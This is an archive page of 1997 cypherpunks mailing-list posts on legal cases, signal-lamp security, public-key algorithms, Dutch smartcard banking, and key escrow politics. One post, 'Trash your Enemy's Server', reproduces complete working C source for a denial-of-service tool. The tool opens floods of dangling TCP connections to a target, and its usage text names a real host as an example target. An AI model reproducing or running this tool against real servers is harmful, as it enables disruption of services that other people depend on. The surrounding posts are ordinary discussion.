December 2003 - cypherpunks-legacy

Thomases lose appeal in second case
by Bill Stewart 17 Dec '03

17 Dec '03

Remember the Amateur Action BBS case from 1994, when Robert Thomas got convicted by a Federal court in Tennessee for distributing pornography on his BBS in California? Well, he was also prosecuted in Utah for distributing pornography from the BBS (the Merc doesn't say if it was a state or federal prosecution, but it looks like state), and he just lost his appeal in Federal court. One of his defense arguments was double jeopardy, and the court rejected that because the Utah court busted him for different pictures than the Tennessee court. While distributing child pornography is reprehensible, it's still none of Utah's business; the ACLU lawyer defending Thomas says there's no evidence that any Utah citizens actually downloaded any (except the police). # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list or news, please Cc: me on replies. Thanks.)

2 1

FW: TV Commercial
by Roger J Jones 17 Dec '03

17 Dec '03

Having spent a fair amount of time on the high seas on gray ships I found the following interesting in that: 1) Back in WWII days Aldis lamps were a pretty good option. Unless you had a submerged enemy sub in your convoy you would most likely notice anyone who could intercept your communications. Since of course convoys could travel faster than submerged subs the exposure was also limited in time. Add of course the fact that most of the messages were in code, frequently unique for a given transit. 2) Consider the changes in today's environment: a) Image intensifying lenses make over the horizon (cloud bounce) reception possible. b) Subs can move faster underwater than most surface ships. c) Satellites could pick up the light pulses - either directly (if low horizon) or reflectively (off the water) d) I suppose that the right spectrum could also pick up the heat caused by the filament of the lamp. Of course, since it now takes about 45 gizillion people on a ship to "sign out" a message for release, the only messages that go out over Aldis lamps are the signalmen swapping scuttlebutt and sea stories in the name of "on the job training" "Fair winds and following seas!" An old salt. -----Original Message----- From: Bill Frantz [SMTP:frantz@netcom.com] Sent: Friday, June 06, 1997 11:13 AM Subject: Re: TV Commercial At 12:34 AM -0700 6/6/97, David Lucas wrote: >It's a nice thought, but the image is all wrong. Two ships communicating >via Aldis lamps (presumably, I haven't seen the ad) using Morse at a guess, >isn't what I would call very secure communication. Well, the Japanese managed to keep secure communications when sneeking up on Pearl Harbor, and I assume they used something similar for ship-to-ship communications. Narrow beam, and everyone who can receive is in sight is nice.

1 0

No Subject
by xmasterx＠juno.com 17 Dec '03

17 Dec '03

UNSUBSCRIBE cypherpunks

1 0

Mixture Generation vs. Moduler Exponantion Approach?
by Jenjen 17 Dec '03

17 Dec '03

Recently I learned a new crypto algorithm--RPK (see www.rpk.co.nz) It's based on mixture generator (MG) approach and claims much faster than all existing public-key crypto-algorithms. But some people argue that MG is not much different from moduler exponantiation (ME) approach, which has been used in some existing crypto-algorithms. Therefore, RPK may not be that much faster than others. I'm new in this field and not sure whether these 2 approaches (Mixture Generation vs. Moduler Exponantiation) are very different or not? Can MG be much faster than ME or no much difference? Would you help me with these questions or point me to a right direction? I'd appreciate your help.

1 0

Trash your Enemy's Server
by ichudov＠Algebra.COM 17 Dec '03

17 Dec '03

/***************************************************************************/ /* con_dos.c -- Denial Of Service by opening many dangling TCP Connections */ /* Copyright(C) 1997 Ignoramus_Chewed-Off(a)algebra.com */ /***************************************************************************/ const char * Usage = "Error: %s\n" "USAGE: %s (block|grind) hostname service# #connections\n" "\n" "This program opens #connections connections to the specified host.\n" "It can be used to deny services, slow down and crash Internet servers.\n" "\n" "If #connections is set to 0, it opens as many connections as it can\n" "and continues trying to do so as long as it runs. Use Control-C to \n" "interrupt it. NOTE that depending on your OS, it may hurt you too.\n" "\n" "If #connections is not 0, this program only opens #connections of them.\n" "After that, if the first argument is 'block', it simply sleeps. If the\n" "first argument is 'grind', it starts opening and closing connections\n" "in a round robin manner every second.\n" "\n" "This program is for EDUCATIONAL USE ONLY. Please do not use it for\n" "anything illegal. There is no warranty. Copyright(C) Ignoramus Chewed-Off.\n" "\n" "USE EXAMPLE: \n" " %s grind victim.com 80 1000\n" "-- opens 1000 HTTP connections to victim.com and waits\n" " %s block www.agis.net 80 0\n" "-- constantly attempts to open HTTP connections to www.agis.net\n" ; #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <netdb.h> #include <sys/socket.h> #include <netinet/in.h> #define USAGE( msg ) \ fprintf( stderr, Usage, msg, argv[0], argv[0], argv[0] ), \ exit( 1 ) /* after I open this many additional connections (for n_connections == 0), I wait for 1 second, just in case */ #define MAX_CONN 50 typedef enum { CON_BLOCK, CON_GRIND } ConMode; /* create a client socket connected to PORT on HOSTNAME */ int create_client_socket(char ** hostname, int port) { struct sockaddr_in sa ; struct hostent *hp ; int a, s ; long addr ; bzero(&sa, sizeof(sa)) ; if ((addr = inet_addr(*hostname)) != -1) { /* is Internet addr in octet notation */ bcopy(&addr, (char *) &sa.sin_addr, sizeof(addr)) ; /* set address */ sa.sin_family = AF_INET ; } else { /* do we know the host's address? */ if ((hp = gethostbyname(*hostname)) == NULL) { return -2 ; } *hostname = hp->h_name ; bcopy(hp->h_addr, (char *) &sa.sin_addr, hp->h_length) ; sa.sin_family = hp->h_addrtype ; } sa.sin_port = htons((u_short) port) ; if ((s = socket(sa.sin_family, SOCK_STREAM, 0)) < 0) { /* get socket */ return -1 ; } if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { /* connect */ close(s) ; return -1 ; } return s ; } int main( int argc, char *argv[] ) { char * name; int port, n_connections; int s; ConMode mode; if( argc != 5 || (argc >= 1 && (!strcmp( argv[1], "--help" ) || !strcmp( argv[1], "-help" )))) { USAGE( "Wrong Number of Arguments" ); } if( !strcmp( argv[1], "block" ) ) { mode = CON_BLOCK; } else if( !strcmp( argv[1], "grind" ) ) { mode = CON_GRIND; } else { USAGE( "First argument must be 'block' or 'grind'" ); } name = argv[2]; if( (port = atoi( argv[3] ) ) == 0 ) { USAGE( "Port Number must be numeric" ); } if( !isdigit( argv[4][0] ) ) { USAGE( "Port Number must be numeric" );; } n_connections = atoi( argv[4] ); if( n_connections == 0 ) /* infinite loop */ { int i = 0; printf( "ATTENTION: This may damage even your " "computer. Press ^C to abort\n" ); while( 1 ) { if( create_client_socket( &name, port ) == -1 ) { printf( "Connection refused; sleeping.\n" ); sleep( 1 ); } else { if( (i++ % MAX_CONN) == (MAX_CONN-1) ) { printf( "You can interrupt me here. I have %d " "connections open. \nContinuing...\n", i ); sleep( 1 ); } } } } else { int * fds = (int *)calloc( n_connections, sizeof( int ) ); int i = 0; if( fds == 0 ) USAGE( "Memory Allocation Error" ); while( 1 ) /* in a loop, keep opening descriptors */ { if( fds[i] != 0 ) { printf( "Closing %d...\n", i ); close( fds[i] ); sleep( 1 ); } while( 1 ) /* try to open the new one */ { if( (fds[i] = create_client_socket( &name, port )) == -1 ) { printf( "Connection refused; sleeping.\n" ); sleep( 1 ); } else { printf( "Opened %d.\n", i ); break; } } i++; if( i == n_connections ) /* we've gone full circle */ { printf( "Done with %d connections\n", i ); if( mode == CON_BLOCK ) { printf( "I am going to sleep forever...\n", i ); while( 1 ) sleep(1); } else /* repeating the loop */ i = 0; } } } }

3 6

Re: dnews?
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

"Dr. Jai Maharaj" <jai(a)flex.com> writes: > Recently, when I post an article in some newsgroups, the following > arrives by E-Mail almost insyantly. Then several hours later, the > article is forge-canceled. Any input will be appreciated! - Jai Maharaj > > > Return-Path: dnews(a)152.132.1.40 I had a couple of those. I don't think they're related to the forged cancels from bellatlantic (which should be screamed about). I'd appreciate all followups to the thread "Chris Lewis has utterly lost it", Thanks. Major updates to net.scun hopefully tonite. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

1 0

First shots in Smart Wars
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text Sender: e$(a)thumper.vmeng.com Reply-To: iang(a)hotlava.net Precedence: Bulk Date: 6 Jun 1997 15:20:35 -0000 From: iang(a)hotlava.net To: Multiple recipients of <e$(a)thumper.vmeng.com> Subject: First shots in Smart Wars Folks, the smart wars have started. This recently erupted in the Dutch press after bubbling along in the committee rooms for the last year. What follows is a translation and I may have lots of errors in there... This is significant because it signals a new phase in the industry of head-to-head competition for reputation and market share, using all the FUD and scare tactics that big ignorant players have available to them. At this point we can conclude that anyone who is not already fielding systems has probably missed the boat. Although this is only a boat travelling up the Amstel for now, there are some famous people waving tearfully from the wharf. It doesn't necessarily mean the end of DBBs as they are a concept that promise efficiency gains over the current mechanism. But it does mean that it will be a long drawn out battle, as any usage of same must be supported by other innovations in order to compete with large, well-heeled and scared competitors. iang ------- On Wednesday, Postbank announced introduction of the combined debit-card and Chipper-chip with two codes: one PIN code (as meant in ISO 9564-1) and one chipcode (10202-6). The PIN code is for debit-cards with magstripe and the chipcode for using the smartcard functionality (including purse). They stated that using two codes was a requirement from the central bank and that they were suprised that the other smartcard initiative (chipknip) was allowed to use only one code for both debit-card and purse-application. DNB (the Dutch National Bank) were asked for comment (Wednesday) and they denied that they instructed Postbank to use two codes. Postbank did not want to explain any further in the open press about why they chose 2 codes and kept on referring to DNB. Meanwhile a spokesman for RABO, one of the banks in the competing initiative, spoke out publicly (and frequently) that chipknip only used one code and that there was no requirement to use two codes for the two applications. The spokesman also stated that it would be possible to use this one code in a user's smart card "home-loading" devices (the so-called 'chipknipper'). On Thursday (so in the Friday newspapers) DNB informed the press that DNB uses international standards as a reference point in their review of card schemes. Operators of schemes make their own decisions within the framework of these standards. DNB only checks, depending on the choice made, which part of the standards apply and whether the implementation complies to the relevant part of the standard. The ISO-standards used will basically relate the use of a code to the security level of loading device. If a scheme operator chooses to synchronize the chipcode with the PIN-code, the more stringent PIN-code protection regime applies for that chipcode: it should be physically secure instead of merely tamper-evident. DNB stated that in the case of PIN-synchronisation one could view the use of loading terminals in or attached to banks as compliant with the ISO standards. DNB also stated that in the case of PIN-synchronization it had not been demonstrated that other (home-loading) equipment would comply with the requirements in the international standards. Volkskrant, the Dutch daily newspaper, concluded that RABO might want to reconsider using one code, since the use of this code in a home environment did not seem to comply with international standards. Trouw, another daily, analyzed that in the chipcard battle Postbank had scored a point as they were able to use their chipper in home environments with the chipcode and other banks obviously were not in that position. RABO meanwhile continued to state that they would roll out the home-loading devices at the end of the year and that these devices were technically superior, which would be the reason that no other code was necessary. --- ---------- The e$ lists are brought to you by: Intertrader Ltd: "Digital Money Online" <http://www.intertrader.com/library/DigitalMoneyOnline> Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info(a)hyperion.co.uk Like e$? Help pay for it! <http://www.shipwright.com/beg.html> For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com> Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com> (Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com> Commermeister: Anthony Templer <mailto:anthony@atanda.com> Interturge: Rodney Thayer <mailto:rodney@sabletech.com> --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/

1 0

Who subscribes to the list?
by ghio＠temp0093.myriad.ml.org 17 Dec '03

17 Dec '03

If you're worried that someone might find out who is subscribed to the list by querying some of the majordomos, don't bother. I already have a list of all your IP addresses. Sendmail has a nice feature which checks all the sender or recipient addresses by doing DNS lookups on them. My nameserver is watching you. :) P.S. I'm sure none of you would be foolish enough to use penet-style remailers which do not encrypt the message headers.

6 6

Re: Privacy-loving Europeans are at it again
by Rich Graves 17 Dec '03

17 Dec '03

It's not clear from the attributions who originally wrote: >>>The New York Times reports on page one the German >>>prosecution of a woman who linked her home page to >>>Radikal. It reviews XS4ALL's role, describes Radikal >>>and its mirror sites and links to them all: >>> >>> http://www.nytimes.com/library/cyber/week/060697germany.html This story was stale soon after it hit the "presses." The trial is on hold as the government looks (in vain?) for expert witnesses who support their position. In unrelated news, Reuters is reporting that the head of CompuServe's operations in Germany, the guy who is being sued in Munich on kiddie porn charges, is leaving to start his own company. -rich http://www.stanford.edu/~llurch/

1 0

Re: Arguments for good crypto and against GAK.
by William H. Geiger III 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- In <199706051819.NAA06360(a)einstein.ssz.com>, on 06/05/97 at 03:00 PM, "Peter Trei" <trei(a)process.com> said: >In short, it's possible to pro-crypto, anti-GAK >without ever getting near sounding anti-government; >in fact, being pro-crypto, anti-GAK can be a >conservative, anti-crime, law & order position. Well the real problem here is not GAK it is just a symptom. The problem is the position that our current government and especially LEAs in that government have taken that we have no rights. That the Constitution and the Bill of Rights have no meaning unless it is politically convienant to them. I don't see how anyone can look at the governments behavior in its push for GAK and not have utter contempt for them. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5i/ZI9Co1n+aLhhAQHxRAQAytDQhogRQkzsD88hYhWWFZen44tVj3zd nAnlF+fqxBmitzcI/iSiH9QT//lLlr5FzUCFG2g/aasuo9j0AzcXc4pM87itvbfj WFJSZ7l8aN2xAkpWrIJoRo6C90tsPKWoqy3G9N/legeJPKrBx4gtpiuWv0wTBgDA OGerKywdxnE= =y+Qb -----END PGP SIGNATURE-----

1 0